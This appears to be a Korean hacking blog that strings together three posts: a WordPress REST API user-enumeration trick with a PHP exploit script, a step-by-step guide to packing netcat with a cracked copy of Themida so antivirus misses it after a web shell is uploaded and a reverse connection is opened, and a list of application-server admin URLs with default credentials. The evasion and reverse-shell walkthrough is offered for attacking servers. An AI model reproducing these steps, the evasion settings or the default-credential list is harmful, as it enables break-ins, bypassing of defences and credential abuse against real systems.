위험한 취약점은 아닌데다가 사실 의미가 있는 정보를 가져올수 있는지도 딱히 모르겠긴 한데...
일단은 뭐 이런저런 정보 수집용으로 사용은 가능할 것 같다.

  • 사용가능 버전: Wordpress 4.7.0 이하 버전
  • Wordpress 4.7.0 이상의 버전에서는 취약한 기능만을 막아놓고 있다.. (다음포스팅에 소개할 Content Injection 등이 불가능)

워드프레스에서 기본적으로 제공하는 REST API가 있는데 그 API의 취약점을 이용한 익스플로잇이다.
(REST API에 대한 설명이 필요하다면... https://spoqa.github.io/2012/02/27/rest-introduction.html 참조)

아래는 기본으로 제공하는 API의 경로이다...
실제로 워드프레스를 설치하고 서버 웹루트에서 해당 경로를 찾아가면 존재하지 않는다.
그치만 접근하면 해당 정보 유무에 따라  json형태의 파일을 떨군다!



해당 취약점에 대해 이것저것 검색하면 아래와 같은 익스플로잇 코드가 있는데 사실 별의미 없다... 
깔끔하게 원하는 정보를 불러오겠다는 취지로 만든 파일이 아닐까 생각하지만 굳이 저렇게 파일을 업로드하고, 원하는 정보를 얻어올 정도로 중요한 정보를 가져오지도 않는다.
(아래 익스플로잇 코드를 사용하는 방법은:
    1. 해당 코드의 노란색 하이라이트된 부분을 주소에 맞게 변경한다. (기본설정)
    2. 수정한 코드를 워드프레스 웹루트에 저장한다.
    3. localhost/파일명.php로 접속
    4. 페이지에 json형태로 정보 출력


)

#!usr/bin/php
<?php
#Author: Mateus a.k.a Dctor
header ('Content-type: text/html; charset=UTF-8');
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
    echo "*-----------------------------*\n";
foreach($json as $users){
    echo "[*] ID :  |" .$users['id']     ."|\n";
    echo "[*] Name: |" .$users['name']   ."|\n";
    echo "[*] User :|" .$users['slug']   ."|\n";
    echo "\n";
}echo "*-----------------------------*";}
else{echo "[*] No user";}
?>

다시 말하지만 굳이 사용할 이유가 없는 익스플로잇 코드이다...

그냥 위에 첨부한 표에 있는 경로에 접속하면 원하는 정보 다 불러온다
예를 들어, 위와 같은 정보를 얻어오려면 http://localhost/wordpress/wp-json/wp/v2/users/ 로 접근하면 아래와 같은 json형식의 파일을 다운로드하라고 한다. 
그냥 다운받아서  메모장으로 열어보면 아래와 같이 admin 이라고 사용자 정보 노출...



같은 방법으로 게시물의 정보를 알아오거나 수정한 정보 등... 그냥 간단한 정보 수집용 데이터들을 다운받거나 열람할 수 있다.

- 대응책: 버전 업그레이드하면됨! 4.7.0 이상 버전이면 취약점 없음!!

이게 끝임...ㅡ.ㅡ



 패킹(packing)이란?
         
            일단 패킹이란, 배포를 하기 위해 파일의 크기를 줄이거나 보안성을 높이기 위해 실행파일을 압축하는 기술이라고 할 수 있다. 
            따라서, 정상적으로 파일 실행이 가능하며 대부분의 툴이 언패킹을 지원한다.

            얼핏 듣기로는 악성코드가 들어있거나 그런 파일이 아니기 때문에 백신에서 막을 수가 없는 구조라고 하는 것 같다 (제대로 이해하려면 PE구조를 이해하고 EXE 파일을 리버싱해야함...)

            그래서 실제로 얼마나 쓰이는 방법인지는 잘 모르겠지만..  
            패킹을 하면, 파일 업로드 시 백신우회 기법으로 사용이 가능하다!
            주의할 점은 원래 제작목적이 절대 백신 우회 프로그램이 아니라는 것이다...


공격 시나리오

공격 대상 서버(192.168.32.144:8090)에 웹쉘 업로드에 성공했다.
이제 NC를 이용하여 리버스 커넥션을 시도하려하는데 아무리 업로드를 해도 제대로 실행이 되지 않는다..
분명히 정상적으로 업로드가 되었는데 실행이 안되는 이유는 무엇일까???

1) 일반 nc.exe를 업로드한다.



2) nc가 정상적으로 실행되는지 확인하기 위해 다음 명령어를 실행하여 포트 오픈을 시도한다.
        ▶ nc.exe -lvp 4444

하지만 실패 ㅠㅠ 
왜...? 
알아보니 서버에 설치된 백신이 nc 실행을 막고 있었다...

이럴때 사용할 수 있는 방법이 패킹된 nc실행파일 올리기!!

이제 패킹하는 방법을 알아보자.


패킹 방법

패킹을 지원하는 툴은 여러가지가 있지만 나는 더미다 패킹(Themida)툴 사용법을 설명한다.
구글링을 통해 다운받을 수 있는 방법이 여러가지가 있지만 crack이나 정품인증이 되지 않은경우, 패킹된 실행파일 실행시 다음 화면이 뜬다..
실행되는 곳에서 화면을 한번 클릭해 주지 않으면 실행이 되지 않으므로 해킹시에는 사용이 불가능하다...



         그럼 이제 크랙되거나 정품인증을 한 더미다를 사용해서 패킹한 뒤, 서버에서 실행까지 해보자!

          1) 다운받은 더미다(Themida).exe를 실행시킨다 
                ** 주의할점은 nc의 비트수와 더미다의 비트수를 맞춰야지 않그럼 패킹이되지 않는다.
            


           2) Input Filename 부분에 패킹을 원하는 파일을 넣고 Output Filename을 선택하기 위해 [Same as Input]을 체크해제하고 경로및 파일명을 지정한다.
                ** Same as Input을 체크 해제하지 않는 경우, 원본 파일을 덮어쓰기 한다.
            
                

3) [Protection Options] - [Anti-Debugger Detection : Ultra] - [Anti-Patching: File Patch(sign Supported)] 

4) 다시 [Application Information]으로 돌아와 내용을 확인한 후, 상단의 [Protect] 클릭

5) 새로운 화면의 [Protect] 클릭


6) File Successfult protected 메시지 확인 후 [close] 클릭


7) 패킹한 NC를 업로드

8) 호스트PC (공격자PC)에서 4444로 리스닝 포트 오픈



9) 웹쉘을 이용해 리버스 커넥션 시도


10) 리버스 커넥션 성공 확인




** 더 이상 파일 공유하지 않습니다. 





훨씬 더 많은 종류의 WAS와 디폴트 관리자 페이지, 디폴트 계정 등이 존재하겠지만 일단 찾은 것까지 정리하고 넘어간다.
찾을때마다 한개씩 업데이트 예정!

WAS 종류
페이지 주소
디폴트 계정
톰캣(Tomcat)
도메인/manager/html
도메인/admin/login.jsp
tomcat/tomcat, admin/admin, manager/manager, admin/tomcat, tomcat/admin, root/root ...
웹로직(Weblogic)
도메인:7001/console

weblogic/welcome1, weblogic/weblogic, weblogic/password
웹스피어(Websphere)
도메인:7090/admin
도메인:9060/admin
도메인:9043/admin
도메인:8080/console
도메인:9060/ibm/console
도메인:9043/ibm/console
system/manager,john/secret, wasadmin
레진(resin)
도메인:8080/resin-admin

제우스(JEUS)
도메인/webadmin/
도메인:9744/webadmin
administrator/jeusadmin



+ Recent posts